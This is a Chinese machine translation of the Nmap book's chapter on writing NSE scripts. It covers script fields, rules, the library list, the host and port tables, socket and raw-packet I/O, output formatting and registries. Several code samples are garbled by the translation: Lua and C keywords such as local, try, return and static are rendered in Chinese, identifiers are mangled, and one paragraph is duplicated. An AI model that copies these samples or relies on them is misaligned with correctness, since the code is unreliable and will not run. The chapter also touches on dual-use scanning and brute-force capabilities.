NSE 脚本由少量描述性字段、定义何时执行脚本的规则以及包含实际脚本指令的action函数组成。值可以分配给描述性字段,就像您分配任何其他 Lua 变量一样。它们的名称必须小写,如本节所示。
description
字段
描述字段描述了一个脚本的测试内容以及用户应该注意的任何重要说明。根据脚本的复杂性,描述的长度可以从几句话到几段话不等。第一段应该是对脚本功能的简要概述,适合于独立地介绍给用户。接下来的段落可以提供更多的脚本细节。
该categories
字段定义了脚本所属的一个或多个类别(参见 “脚本类别”一节)。类别不区分大小写,可以按任何顺序指定。它们列在数组样式的 Lua 表中,如下例所示:
categories = {"default", "discovery", "safe"}
author
字段
作者字段包含了脚本作者的名字,也可以包含联系信息(如主页URL)。我们不再建议包括电子邮件地址,因为垃圾邮件发送者可能会从NSEDoc网站上搜刮这些地址。这个可选字段不被NSE使用,但给了脚本作者应有的荣辱。
Nmap 是一个社区项目,我们欢迎各种代码贡献,包括 NSE 脚本。因此,如果您编写了有价值的脚本,请不要把它留给自己!可选license
字段有助于确保我们拥有分发 Nmap 附带的所有脚本的合法权限。所有这些脚本目前都使用标准的 Nmap 许可证(在“Nmap 版权和许可”一节中描述)。它们包括以下行:
license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
Nmap的许可证与GNU GPL相似。如果脚本作者喜欢,他们可以使用BSD风格的许可证(没有广告条款)。对于BSD风格的许可证,请包括这一行。
license = "Simplified (2-clause) BSD license--See https://nmap.org/svn/docs/licenses/BSD-simplified"
dependencies
字段
该dependencies
字段是一个数组,其中包含应该在此脚本之前运行的脚本的名称(如果它们也被选中)。当一个脚本可以利用另一个脚本的结果时使用它。例如,大多数smb-*
脚本都依赖于 smb-brute
,因为smb-brute发现的账户可以让其他脚本获得更多的信息。在dependencies中列出一个脚本不会导致该脚本被运行;它仍必须通过--script
选项或其他方式选择。dependencies
仅强制在所选脚本之间进行排序。这是一个dependencies
表示例,来自 smb-os-discovery
:
dependencies = {"smb-brute"}
依赖关系表是可选的。如果省略该字段,NSE 将假定脚本没有依赖关系。
依赖建立了脚本的内部顺序,为每个脚本分配一个称为“runlevel” [12]的数字。 运行脚本时,您将在 NSE 的输出中看到运行的每组脚本的运行级别(以及运行级别的总数):
NSE: Script scanning 127.0.0.1. NSE: Starting runlevel 1 (of 3) scan. Initiating NSE at 17:38 Completed NSE at 17:38, 0.00s elapsed NSE: Starting runlevel 2 (of 3) scan. Initiating NSE at 17:38 Completed NSE at 17:38, 0.00s elapsed NSE: Starting runlevel 3 (of 3) scan. Initiating NSE at 17:38 Completed NSE at 17:38, 0.00s elapsed NSE: Script Scanning completed.
Nmap 使用脚本规则来确定是否应该针对目标运行脚本。规则是一个返回 true
或false的 Lua 函数
。脚本action
函数只有在规则评估为真时才被执行。
脚本必须包含以下一项或多项确定脚本何时运行的函数:
prerule() |
hostrule(host) |
portrule(host, port) |
postrule() |
prerule
在脚本预扫描阶段,脚本在任何主机被扫描之前运行一次。 hostrule 和 portrule 脚本在每一批主机被扫描后运行。postrule 在脚本后扫描阶段,脚本在所有主机被扫描后运行一次,。如果一个脚本有多个规则,它可能会在多个阶段运行。
prerule和postrule不接受参数。 hostrule接受一个主机表,并可以测试,例如,目标的IP地址或主机名。portrule同时接受一个主机表和一个端口表,用于开放、开放|过滤或未过滤端口状态的任何端口。端口规则在决定是否针对一个端口运行时,通常测试一些因素,如端口号、端口状态或监听服务名称。示例规则显示在 "规则 "部分。
+
高级用户可以通过在 参数中为脚本名称(或类别或其他表达式)添加前缀来强制脚本运行,而不管这些规则函数的结果如何--script
。
高级用户可以通过在 --script参数中的
脚本名称(或类别或其他表达方式)前添加一个 "+"来强制运行脚本,而不管这些规则函数的结果如何。
目前选择prerule或postrule的标准是这样的:如果脚本正在进行主机发现或任何其他网络操作,那么应该使用prerule。postrule被保留用于报告在扫描过程中收集的数据和统计。
行动
行动是 NSE 脚本的核心。它包含脚本的前规则、端口规则、主机规则或后规则触发时要执行的所有指令。它是一个 Lua 函数,它接受与规则相同的参数。行动值的返回值可以是 名称-值 对的表、字符串或nil
. 有关 NSE 行动的示例,请参阅名为“行动”的部分。
如果行动的输出是表,它会自动以结构化方式格式化,以包含在正常 ( -oN
) 和 XML ( -oX
) 输出格式中。如果是一个字符串,则在正常输出中直接显示文本,在XML输出中写成一个XML属性,如果脚本返回nil,则不产生输出。有关如何处理不同返回值的详细信息, 请参阅名为“结构化和非结构化输出”的部分。
环境变量
每个脚本都有自己的一组环境变量:
SCRIPT_PATH
-
脚本路径。
SCRIPT_NAME
-
脚本名称。此变量可用于调试输出。
SCRIPT_TYPE
-
由于一个脚本可以有多个规则函数,这个环境变量将显示哪个规则激活了这个脚本,如果脚本想在不同的脚本扫描阶段共享一些代码,这将很有用。它将接受这四个字符串值中的一个。"prerule"、"hostrule"、"portrule "或 "postrule"。这个变量只在规则函数的评估期间和之后可用。
这是一个使用前面环境变量的调试代码的例子,后面是输出信息,来自dns-zone-transfer。
stdnse.print_debug(3, "Skipping '%s' %s, 'dnszonetransfer.server' argument is missing.", SCRIPT_NAME, SCRIPT_TYPE)
Initiating NSE at 15:31 NSE: Skipping 'dns-zone-transfer' prerule, 'dnszonetransfer.server' argument is missing.
脚本语言
Nmap脚本引擎的核心是一个可嵌入的Lua解释器。Lua是一种为可扩展性设计的轻量级语言。它提供了一个强大的和完善文档的API,可以和其他软件如Nmap进行交互。
Nmap脚本引擎的第二部分是NSE库,它连接Lua和Nmap。这一层处理诸如Lua解释器的初始化、并行脚本执行的调度、脚本检索等问题。它也是NSE网络I/O框架和异常处理机制的核心。它还包括实用程序库,使脚本更加强大和方便。实用库模块和扩展在名为 "NSE库 "的章节中描述。
Lua基础语言
Nmap脚本语言是一个嵌入式Lua解释器,它用与Nmap接口的库来扩展。Nmap API是在Lua命名空间nmap中。这意味着所有对Nmap提供的资源的调用都有一个nmap前缀。例如,nmap.new_socket()返回一个新的套接字封装对象。Nmap库层还负责初始化Lua上下文,调度并行脚本和收集完成的脚本产生的输出。
在规划阶段,我们考虑了几种编程语言作为Nmap脚本的基础。还有一个选择是实现一种全新的编程语言。我们的标准很严格。NSE必须易于使用,体积小,与Nmap许可证兼容,可扩展,快速和可并发。以前有几个项目从头开始设计他们自己的安全审计语言,结果是很尴尬的解决方案,所以我们很早就决定不走这条路。首先考虑的是Guile Scheme解释器,但由于Elk解释器的许可证更有利,所以我们更倾向于使用它。但是Elk脚本的并行化会很困难。此外,我们预计大多数Nmap用户喜欢过程式编程而不是像Scheme这样的函数式语言(译者注:c语言就是过程式语言,至于nmap选用什么语言都可以甚至是JavaScript,关键在于适用性)。较大的解释器如Perl、Python和Ruby都很有名,也很受欢迎,但很难有效嵌入。最后,Lua在我们所有的标准中都很出色。它很小,在自由的MIT开源许可下发布,有用于高效的并行脚本执行的程序,在设计时考虑到了可嵌入性,有很好的文档,并由一个庞大而忠实的社区积极开发。Lua现在甚至被嵌入到其他流行的开源安全工具中,包括Wireshark sniffer和Snort IDS。
NSE脚本
本节(一长串NSE脚本的列表,并附有简短的摘要)只在本书的印刷版中提供,因为我们已经在NSE文档门户网站上提供了一个更好的在线信息界面。
NSE 库
除了Lua的重要内置功能,我们还编写或集成了许多扩展库,使脚本编写更加强大和方便。这些库(有时称为模块)在必要时被编译并和Nmap一起安装。它们有自己的目录,nselib,安装在配置的Nmap数据目录中。脚本只需要require
默认的库就可以使用它们。
所有库列表
这个列表只是一个概述,让您了解可用的库。开发人员需要在https://nmap.org/nsedoc/查阅完整的文档。
afp
-
该库由 Patrik Karlsson <patrik@cqure.net> 编写,以促进与 Apple AFP 服务的通信。它功能不完整,仍然缺少几个功能。
ajp
-
基于 Apache mod_proxy_ajp 提供的文档的基本 AJP 1.3 实现;http://httpd.apache.org/docs/2.2/mod/mod_proxy_ajp.html
amqp
asn1
base32
base64
bin
bit
bitcoin
bittorrent
-
Bittorrent 和 DHT 协议库,使用户能够从 torrent 文件中读取信息,解码经过编码(bittorrent 编码)的缓冲区,找到与某个 torrent 相关联的对等点,并检索在搜索对等点期间发现的节点。
bjnp
brute
cassandra
citrixxml
-
该模块由 Patrik Karlsson 编写,可促进与 Citrix XML Service 的通信。它的功能不完整,并且缺少几个功能和参数。
comm
creds
cvs
datafiles
-
读取和解析 Nmap 的一些数据文件:
nmap-protocols
、nmap-rpc
、nmap-services
和nmap-mac-prefixes
. dhcp
dhcp6
-
最小化的DHCP6(IPv6动态主机配置协议)实现,支持基本的DHCP6Solicit请求 该库的结构围绕以下类。
dns
dnsbl
-
一个最小化的DNS BlackList库,实现了方便查询各种DNSBL服务。目前的服务清单是在以下服务汇编的基础上实现的。
dnssd
drda
eap
eigrp
ftp
giop
gps
http
httpspider
iax2
-
一个极简的Asterisk IAX2 (Inter-Asterisk eXchange v2) VoIP协议实现。该库实现了执行暴利破戒密码猜解所需的最小值。
imap
-
一个实现 IMAP 协议的小子集的库,目前是 CAPABILITY、LOGIN 和 AUTHENTICATE 函数。该库最初由 Brandon Enright 编写,后来由 Patrik Karlsson <patrik@cqure.net> 扩展并转换为 OO 形式
informix
ipOps
ipp
iscsi
-
由 Patrik Karlsson <patrik@cqure.net> 编写的 iSCSI 库实现该库当前支持目标发现和登录。
isns
jdwp
-
JDWP(Java Debug Wire Protocol)库实现了使用远程调试端口和注入 java 字节码所需的一组命令。
json
ldap
lfs
-
返回一个目录迭代器,列出给定路径的内容。每次迭代器与dir_obj一起被调用时,都会以字符串形式返回一个目录条目的名称,如果没有更多条目,则返回nil。
listop
match
membase
-
Couchbase Membase TAP 协议的小型实现基于 Couchbase Wiki 中的稀缺文档:x http://www.couchbase.org/wiki/display/membase/SASL+Authentication+Example
mobileme
mongodb
msrpc
-
通过大量使用该
smb
库,该库将调用各种 MSRPC 函数。此处使用的函数可以通过 TCP 端口 445 和 139 访问,并已建立会话。NULL 会话(默认)适用于某些功能和操作系统(或配置),但不适用于其他 。 msrpcperformance
-
该模块旨在解析
PERF_DATA_BLOCK
结构,该结构存储在注册表中的 HKEY_PERFORMANCE_DATA 下。通过查询这个结构,您可以获得关于正在发生的事情的大量信息。 msrpctypes
-
此模块被写入为 Microsoft RPC (MSRPC) 调用编组参数。传入和传出的值基于协议定义的结构,并由 Samba 开发人员记录。有关类型的详细分类,请查看 Samba 4.0 的
.idl
文件。 mssql
mysql
natpmp
-
该库实现了 NAT 端口映射协议 (NAT-PMP) 草案中描述的 NAT-PMP 的基础知识: o http://tools.ietf.org/html/draft-cheshire-nat-pmp-03
ncp
-
Netware 核心协议 (NCP) 的小型实现。虽然 NCP 最初是仅 Netware 的协议,但它现在出现在运行 Novell eDirectory 的 Linux 和 Windows 平台上。
ndmp
netbios
nmap
nrpc
nsedebug
omp2
openssl
ospf
packet
pcre
pgsql
-
支持协议版本 2 和版本 3 的 PostgreSQL 库。该库当前包含执行身份验证的最低要求。在启用或不启用 SSL 并使用纯文本或 MD5 身份验证机制的情况下都支持身份验证。
pop3
pppoe
-
一个简约的 PPPoE(以太网点对点协议)库,实现对 PPPoE 发现和配置请求的基本支持。PPPoE 协议基于以太网,因此不使用任何 IP 或端口号。
proxy
rdp
redis
rmi
rpc
rpcap
-
这个库实现了与 WinPcap Remote Capture Daemon 通信所需的基础。它目前支持使用 NULL 或基于密码的身份验证对服务进行身份验证。此外,它还能够列出可用于嗅探的接口。
rsync
rtsp
sasl
shortport
sip
smb
smbauth
smtp
snmp
socks
srvloc
-
服务定位协议的一个相对较小的实现。它最初设计用于支持发现 Novell NCP 服务器的请求,但也应适用于任何其他服务。
ssh1
ssh2
sslcert
stdnse
strbuf
strict
stun
-
根据 RFC3489 和 RFC5389 实现 STUN 协议(NAT 会话遍历实用程序)基础的库。http://en.wikipedia.org/wiki/STUN提供了协议概述。
tab
target
tftp
tns
unpwdb
upnp
-
一个基于 upnp-info 代码的 UPNP 库,最初由 Thomas Buchanan 编写。该代码是从 upnp-info 中提取出来的,部分由 Patrik Karlsson <patrik@cqure.net> 重写,以支持多播请求。
url
versant
-
一个小型库,允许从 Versant 对象数据库软件枚举一些基本信息(参见 http://en.wikipedia.org/wiki/Versant_Corporation)。该代码完全基于使用 Versant 管理中心管理应用程序时捕获的数据包转储。
vnc
vulns
vuzedht
-
基于以下文档的 Vuze DHT 协议实现: o http://wiki.vuze.com/w/Distributed_hash_table
wsdd
-
一个库,使脚本能够发送 Web 服务动态发现探测并执行一些非常基本的响应解码。该库绝不是一个完整的 WSDD 实现,而是一些数据包捕获和一些创造性编码的结果。
xdmcp
-
XDMCP(X 显示管理器控制协议)的实现基于:x http://www.xfree86.org/current/xdmcp.pdf
xmpp
在编辑库的时候,一个常见的错误是不小心使用了一个全局变量而不是一个局部变量。不同的库使用相同的全局变量可能是造成神秘的bug的原因。Lua的范围分配默认是全局的,所以这个错误很容易犯。
为了帮助纠正这个问题,NSE使用了一个改编自标准Lua发行版的库,叫做strict.lua。该库将在任何访问或修改文件作用域中未声明的全局变量时引发运行时错误。如果库在文件范围内对全局名称(甚至是nil)进行了赋值,那么全局变量就被认为是已声明的。
nselib 中包含的一些模块是用 C 或 C++ 而不是 Lua 编写的。两个例子是bit
和pcre
。pcre
如果可能,我们建议使用 Lua 编写模块,但如果性能至关重要,或者(与和openssl
模块一样)您要链接到现有的 C 库,则 C 和 C++ 可能更合适。本节介绍如何编写自己编译的 nselib 扩展。
Lua C API 在 Programming in Lua, Second Edition 中有详细描述,所以这是一个简短的总结。C 模块由遵循 lua_CFunction 类型协议的函数组成。这些函数在 Lua 中注册并通过调用该 luaL_newlib
函数组装到一个库中。一个特殊的初始化函数提供了模块和 NSE 代码的其余部分之间的接口。按照惯例,初始化函数以 形式命名 。 luaopen_
<module>
NSE 附带的最直接的编译模块是 openssl
. 该模块是初学者模块编写者的一个很好的例子。source 的源代码 openssl
在nse_openssl.cc
和 中nse_openssl.h
。大多数其他编译的模块都遵循这个命名约定。 nse_
<module name>
.cc
查看该模块会发现is openssl
中的函数之一,它计算 MD5 摘要。它的函数原型是:nse_openssl.cc
l_md5
静态 int l_md5(lua_State *L);
原型显示l_md5
匹配 lua_CFunction类型。该函数是静态的,因为它不必对其他编译代码可见。在 Lua 中注册它只需要一个地址。稍后在文件中, l_md5
将其输入到 luaL_Reg类型的数组中并与名称相关联 md5
:
static const struct luaL_Reg openssllib[] = { { "md5", l_md5 }, { NULL, NULL } };
这个函数现在将被md5
NSE 所知。接下来,通过调用 luaL_newlib
内部初始化函数注册库luaopen_openssl
,如下所示。一些与 OpenSSL BIGNUM类型注册相关的行已被省略:
LUALIB_API int luaopen_openssl(lua_State *L) { luaL_newlib(L, openssllib); 返回 1; }
该函数luaopen_openssl
是文件中唯一暴露在 nse_openssl.h
. OPENSSLLIBNAME
只是字符串 "openssl"
。
编写完编译模块后,必须将其添加到 NSE,方法是将其包含在 nse_main.cc
. 然后必须将模块的源文件名添加到 Makefile.in
适当的位置。对于这两个任务,您可以简单地遵循其他 C 模块的示例。对于 Windows 构建,必须 mswin32/nmap.vcproj
使用 MS Visual Studio 将新的源文件添加到项目文件中(参见“从源代码编译”一节)。
地图API
NSE 脚本可以访问多个 Nmap 工具来编写灵活而优雅的脚本。API 提供目标主机详细信息,例如端口状态和版本检测结果。它还提供了 Nsock 库的接口,以实现高效的网络 I/O。
一个有效的 Nmap 脚本引擎需要的不仅仅是 Lua 解释器。用户需要轻松访问 Nmap 了解的有关目标主机的信息。该数据作为参数传递给 NSE 脚本的 action
方法。 参数host
和 port
是 Lua 表,其中包含有关执行脚本的目标的信息。如果脚本与主机规则匹配,则仅获取 host
表,如果匹配端口规则,则同时获取host
和port
。下面的列表描述了这两个表中的每个变量。
host
-
该表作为参数传递给规则和操作函数。它包含有关主机运行的操作系统的信息(如果
-O
提供了开关)、IP 地址和扫描目标的主机名。 host.os
-
一组操作系统匹配表。操作系统匹配由人类可读的名称和操作系统类数组组成。每个 OS 类由供应商、OS 系列、OS 代、设备类型和该类的 CPE 条目数组组成。(有关操作系统匹配字段的描述,请参阅“解码参考指纹格式”部分
nil
。)如果未定义 字段,则可能是 。该host.os
表具有以下整体结构:host.os = { { name =
<string>
, classes = { { vendor =<string>
, osfamily =<string>
, osgen =<string>
, type =<string>
, cpe = { "cpe:/<...>
", [更多 CPE ] } }, [更多类] }, }, [更多操作系统匹配] }指纹Linux 2.6.32 - 3.2 类Linux | Linux | 2.6.X | 通用 CPE cpe:/o:linux:linux_kernel:2.6 类 Linux | Linux | 3.X | 通用 CPE cpe:/o:linux:linux_kernel:3
host.os = { { name = "Linux 2.6.32 - 3.2", classes = { { vendor = "Linux", osfamily = "Linux", osgen = "2.6.X", type = "general purpose", cpe = { "cpe:/o:linux:linux_kernel:2.6" } }, { vendor = "Linux", osfamily = "Linux", osgen = "3.X", type = "general purpose", cpe = { "cpe: /o:linux:linux_kernel:3" } } }, } }
只有与完美操作系统匹配对应的条目才会放入
host.os
表中。-O
如果在没有该选项 的情况下运行 Nmap ,host.os
则为nil
. host.ip
-
包含目标主机 IP 地址的字符串表示形式。如果扫描是针对主机名运行的,并且其 DNS 查找返回了多个 IP 地址,则使用相同的 IP 地址作为为扫描选择的 IP 地址。
host.name
host.targetname
host.reason
-
包含目标主机处于其当前状态的原因的字符串表示形式。原因由确定状态的数据包类型给出。例如,
echo-reply
来自活着的主机。 host.reason_ttl
host.directly_connected
host.mac_addr
-
目标主机的MAC 地址 (六字节长的二进制字符串)(如果可用),否则
nil
。MAC 地址通常仅适用于直接连接在 LAN 上的主机,并且仅当 Nmap 正在执行原始数据包扫描(例如 SYN 扫描)时。 host.mac_addr_next_hop
host.mac_addr_src
host.interface
host.interface_mtu
host.bin_ip
host.bin_ip_src
host.times
-
此表包含主机的 Nmap 时序数据(请参阅 “往返时间估计”一节)。它的键是
srtt
(平滑往返时间)、rttvar
(往返时间方差)和timeout
(探测超时),均以浮点秒数给出。 host.traceroute
-
这是一个跟踪路由跃点数组,在使用该
--traceroute
选项时出现。每个条目都是一个带有字段的主机表name
,ip
和srtt
(往返时间)。鉴于条目在表中的位置,条目的 TTL 是隐含的。一个空表代表一个超时的跃点。 host.os_fp
-
如果执行了操作系统检测,这是一个包含主机操作系统指纹的字符串。该格式在 名为“了解 Nmap 指纹”的部分中进行了描述。
port
-
端口表以与主机表相同的方式传递给 NSE 服务脚本(即仅具有端口规则而不是主机规则的脚本)。它包含有关运行脚本的端口的信息。虽然这个表没有传递给主机脚本,但仍然可以使用
nmap.get_port_state()
andnmap.get_ports()
调用从 Nmap 请求目标上的端口状态。 port.number
-
包含目标端口的端口号。
port.protocol
-
定义目标端口的协议。有效值为
"tcp"
和"udp"
。 port.service
-
port.number
包含由 Nmap 服务检测检测到的 正在运行的服务的字符串表示形式 。如果该port.version.service_dtype
字段为"table"
,则 Nmap 已经根据端口号猜测了服务。否则版本检测能够确定侦听服务并且该字段等于port.version.name
。 port.reason
-
包含目标端口处于其当前状态的原因的字符串表示形式(由 给出
port.state
)。原因由确定状态的数据包类型给出。例如,RST
来自封闭端口或SYN-ACK
开放端口的数据包。 port.reason_ttl
-
包含响应数据包的 TTL 值,用于确定目标端口到达时的状态。这个响应包也是用来设置的包
port.reason
。 port.version
-
该条目是一个表,其中包含 Nmap 版本扫描引擎检索到的信息。即使没有执行版本扫描,Nmap 也可能会检索到一些值(例如服务名称、服务类型置信度和 RPC 相关值)。未确定的值默认为
nil
. 下表给出了每个值的含义:表 9.1。port.version
价值观姓名 描述 name
包含 Nmap 为端口决定的服务名称。 name_confidence
评估 Nmap 对 的准确性的置信度 name
,从 1(最不置信)到 10。如果port.version.service_dtype
是"table"
,则为 3。product
,version
,extrainfo
,hostname
,ostype
,devicetype
这五个变量与“指令” <versioninfo>
一节中描述的变量相同。match
service_tunnel
包含字符串 "none"
或"ssl"
基于 Nmap 是否使用 SSL 隧道来检测服务。service_fp
此值中提供了服务指纹(如果有)。这在 名为“社区贡献”的部分中进行了描述。 service_dtype
包含字符串 "table"
或"probed"
基于 Nmapport.version.name
是从nmap-services
文件还是从服务探测匹配推导出来的。cpe
检测到的服务的 CPE 代码列表。如 官方 CPE 规范中所述,这些字符串都以 cpe:/
前缀开头。 port.state
-
包含有关端口状态的信息。服务脚本仅针对处于
open
或open|filtered
状态的端口运行,因此port.state
通常包含这些值之一。如果端口表是get_port_state
orget_ports
函数的结果,则可能会出现其他值。nmap.set_port_state()
您可以使用调用来调整端口状态 。这通常在open|filtered
确定端口为open
.
网络 I/O API
为了实现高效且可并行化的网络 I/O,NSE 提供了一个到 Nsock 的接口,Nsock 是 Nmap 套接字库。Nsock 使用的智能回调机制对 NSE 脚本是完全透明的。NSE 套接字的主要优点是它们从不阻塞 I/O 操作,允许并行运行许多脚本。I/O 并行性对 NSE 脚本的作者是完全透明的。在 NSE 中,您可以像使用单个非阻塞套接字一样进行编程,也可以像连接阻塞一样进行编程。一旦超过指定的超时时间,即使阻塞 I/O 调用也会返回。支持两种类型的网络 I/O:连接式和原始数据包。
连接式网络 I/O
这部分网络 API 应该适合大多数经典网络使用:用户创建套接字,将其连接到远程地址,发送和接收数据,最后关闭套接字。传输层(TCP、UDP 或 SSL)之前的所有内容都由库处理。
NSE 套接字是通过调用创建的 nmap.new_socket
,它返回一个套接字对象。套接字对象支持通常connect
的 、 send
、receive
和 close
方法。此外,函数 receive_bytes
、 receive_lines
和 receive_buf
允许更好地控制数据接收。 例 9.3 展示了连接式网络操作的使用。该 try
函数用于错误处理,如 “异常处理”部分所述。
要求(“nmap”) 本地套接字= nmap.new_socket() 套接字:set_timeout(1000) 尝试= nmap.new_try(函数()套接字:关闭()结束) 尝试(套接字:连接(主机.ip,端口号) ) try(socket:send("login")) response = try(socket:receive()) socket:close()
原始数据包网络 I/O
对于那些面向连接的方法过于高级的情况,NSE 为脚本开发人员提供了原始数据包网络 I/O 的选项。
原始数据包接收是通过 Nsock 库中的 Libpcap 包装器处理的。 这些步骤是打开一个捕获设备,向该设备注册侦听器,然后在收到数据包时对其进行处理。
该pcap_open
方法为从普通套接字对象读取的原始套接字创建句柄。此方法采用回调函数,该函数从数据包(包括其标头)计算数据包哈希。此哈希可以返回任何二进制字符串,稍后将其与pcap_register
函数注册的字符串进行比较。数据包哈希回调通常会提取数据包的某些部分,例如其源地址。
指示 pcap 阅读器使用该pcap_register
函数侦听某些数据包。该函数采用二进制字符串与接收到的每个数据包的哈希值进行比较。该方法将返回散列与任何已注册字符串匹配的那些数据包 pcap_receive
。注册空字符串以接收所有数据包。
pcap_receive
脚本通过调用该方法接收已注册侦听器的所有数据包 。该方法一直阻塞,直到接收到数据包或发生超时。
数据包散列计算功能保持得越通用,接收数据包并继续执行的脚本就越多。要在脚本中处理数据包捕获,您首先必须创建一个套接字, nmap.new_socket
然后关闭套接字socket_object:close
——就像使用基于连接的网络 I/O 一样。
虽然接收数据包很重要,但发送它们当然也是一个关键功能。为此,NSE 提供了对 IP 和以太网层发送的访问。原始数据包写入不使用与原始数据包读取相同的套接字对象,因此nmap.new_dnet
调用该函数来创建发送所需的对象。在此之后,可以打开原始套接字或以太网接口句柄以供使用。
一旦创建了 dnet 对象,ip_open
就可以调用该函数来初始化该对象以进行 IP 发送。 ip_send
发送实际的原始数据包,该数据包必须以 IP 标头开头。dnet 对象对可以发送到哪些 IP 主机没有任何限制,因此同一个对象可以在打开时用于发送到许多不同的主机。要关闭原始套接字,请调用ip_close
.
对于比 IP 更低级别的发送,NSE 提供了写入以太网帧的功能。 ethernet_open
通过打开以太网接口初始化 dnet 对象以进行发送。原始帧与ethernet_send
. 要关闭句柄,请调用ethernet_close
。
有时,理解复杂 API 的最简单方法是通过示例。Nmap 包含的 ipidseq
脚本使用原始 IP 数据包来测试主机是否适合 Nmap 的空闲扫描 ( -sI
)。Nmap 还包含的 sniffer-detect
脚本使用原始以太网帧来尝试检测网络上的混杂模式机器(那些运行嗅探器的机器)。
NSE 脚本通常应该返回一个代表其输出的表格,该表格组织良好并且精心选择了键。这样的表格将自动格式化以用于屏幕输出,并将作为嵌套元素存储在 XML 输出中。将 XML 输出在逻辑上分解为键和值可以让其他工具更容易使用脚本输出。脚本可以只返回一个字符串,但不推荐这样做。过去,脚本只能返回一个字符串,它们的输出只是作为文本块复制到 XML 中——现在称为“非结构化输出”。
假设调用的脚本user-list
返回一个表,如此代码示例中所示。以下段落显示了它在正常输出和 XML 输出中的显示方式。
本地输出 = stdnse.output_table() output.hostname = "slimer" output.users = {} output.users[#output.users + 1] = "root" output.users[#output.users + 1] = "foo " output.users[#output.users + 1] = "bar" 返回输出
Lua 表被转换为字符串以进行正常输出。它的工作方式是:每个嵌套表都有一个新的缩进级别。带有字符串键的表条目前面有键和冒号;带有整数键的条目只是按顺序出现。与无序的普通 Lua 表不同,来自的表stdnse.output_table
将按照插入的顺序保留其键。 例 9.4,“NSE 结构化输出的自动格式化”显示了示例表在正常输出中的显示方式。
端口状态服务 1123/tcp 打开未知 | 用户列表: | 主机名:slimer | 用户: | 根 | 富 |_ 酒吧
Lua 表的 XML 表示构造如下。嵌套表成为table
元素。本身不是表格的表格条目成为elem
元素。带有字符串键的条目(无论是table
还是 elem
)获得一个key
属性(例如 <elem key="username">foo</elem>
);具有整数键的条目没有key
元素,并且它们的键隐含在它们出现的顺序中。
除了上述之外,脚本产生的任何正常输出(即使是自动生成的)都会被复制到 元素的output
属性中。script
换行符和其他特殊字符将被编码为 XML 字符实体,例如

. 例 9.5,“XML 中的 NSE 结构化输出”显示了示例表在 XML 中的显示方式。
<script id="t" output=" hostname: slimer users: root foo bar"> <elem key="hostname">slimer</elem> <table key="users"> <elem>root</elem> <elem>foo</elem> <elem>bar</elem> </table> </script>
一些脚本需要更多地控制它们的正常输出。例如,需要显示复杂表格的脚本就是这种情况。为了完全控制输出,这些脚本可以执行以下任一操作:
返回一个字符串作为第二个返回值,或者 |
__tostring 在返回的表上设置元方法。 |
生成的字符串将用于正常输出,表将照常用于 XML。格式化的字符串可能包含换行符以显示为多行。
如果上面的代码示例以这种方式修改为返回一个格式化的字符串,
本地输出 = stdnse.output_table() output.hostname = "slimer" output.users = {} output.users[#output.users + 1] = "root" output.users[#output.users + 1] = "foo " output.users[#output.users + 1] = "bar" local output_str = string.format("hostname: %s\n", output.hostname) output_str = output_str .. "\n" .. stringaux.strjoin (", ", output.users) 返回输出,output_str
那么正常的输出将如下所示:
端口状态服务 1123/tcp 打开未知 | 用户列表: | 主机名:slimer |_ 用户:root、foo、bar
关于结构化输出中某些类型数据的格式设置有一些约定。NSE 输出的用户可以假设某些类型的数据(例如日期和时间)的格式相同,即使在不同的脚本中也是如此。
网络地址(例如 IPv4、IPv6 和 MAC)表示为字符串。
较长的十六进制字符串(如公钥指纹)应使用小写字母字符编写,并且不带冒号等分隔符。
日期和时间根据 RFC 3339进行格式化。如果时区偏移量已知,它们应该像以下示例一样显示:
2012-09-07T23:37:42+00:00 2012-09-07T23:37:42+02:00
如果不知道时区偏移量(表示一些未指定的本地时间),请省略偏移量部分:
2012-09-07T23:37:42
库函数 datetime.format_timestamp
代码用于格式化结构化输出的时间。它需要以秒为单位的可选时区偏移量,并自动将日期转换为在该偏移量内正确。
datetime.format_timestamp(os.time(), 0) --> "2012-09-07T23:37:42+00:00"
NSE 提供了基本 Lua 语言中不存在的异常处理机制。它专为网络 I/O 操作量身定制,并遵循函数式编程范式,而不是面向对象的范式。nmap.new_try
API 方法用于创建异常处理程序。此方法返回一个函数,该函数接受可变数量的参数,这些参数被假定为另一个函数的返回值。如果在返回值中检测到异常(第一个返回值为 false),则中止脚本执行并且不产生任何输出。或者,您可以传递一个函数, new_try
如果捕获到异常,将调用该函数。该函数通常会执行任何所需的清理操作。
例 9.6展示了清理异常处理工作。定义了一个名为的新函数 ,以catch
在出现错误时简单地关闭新创建的套接字。然后它用于保护该套接字上的连接和通信尝试。如果没有指定 catch 函数,脚本的执行将毫不费力地中止——打开的套接字将保持打开状态,直到 Lua 的垃圾收集器下一次运行。如果详细级别至少为 1,或者如果在调试模式下执行扫描,则在标准输出上打印未捕获错误条件的描述。请注意,目前很难将多个语句分组到一个 try 块中。
本地结果,socket,try,catch result = "" socket = nmap.new_socket() catch = function() socket:close() end try = nmap.new_try(catch) try(socket:connect(host.ip, port. number)) result = try(socket:receive_lines(1)) try(socket:send(result))
编写一个由 try/catch 机制正确处理的函数很简单。该函数应返回多个值。第一个值应该是一个布尔值,它是true
在函数成功完成时和 false
(或nil
)否则。如果函数成功完成,try 构造会消耗指标值并返回剩余值。如果函数失败,则第二个返回值必须是描述错误条件的字符串。请注意,如果该值不是 nil
或被false
视为true
这样,您可以在正常情况下返回您的值,并 在发生错误时返回。 nil,
<error description>
登记处
脚本可以通过将值存储在寄存器中来共享信息, 寄存器是所有脚本都可以访问的特殊表。有一个名为 的全局注册表 nmap.registry
,由所有脚本共享。每个主机都有自己的注册表,称为 host.registry
,其中host
传递给脚本的 主机表。注册表中的信息不会在 Nmap 执行之间存储。
全局注册表在整个扫描会话中持续存在。例如,脚本可以使用它来存储稍后将由 postrule 脚本显示的值。另一方面,每个主机的注册表仅在扫描主机时存在。它们可用于将信息从一个脚本发送到另一个针对同一主机运行的脚本。如果可能,请使用每个主机的注册表;这不仅使您不必使键名在主机之间具有唯一性,而且还允许注册表使用的内存在不再需要时被回收。
以下是使用这两个注册表的示例:
脚本的 portrulessh-hostkey 收集 SSH 密钥指纹并将它们存储在全局中,nmap.registry 以便以后可以通过 postrule 打印它们。 |
该ssl-cert 脚本收集 SSL 证书并将它们存储在每个主机的注册表中,以便 ssl-google-cert-catalog 脚本可以使用它们而无需与服务器建立另一个连接。 |
因为每个脚本都可以写入全局注册表,所以使您使用的键唯一很重要,以避免覆盖其他脚本(或并行运行的同一脚本)的键。
使用另一个脚本结果的脚本必须使用dependencies
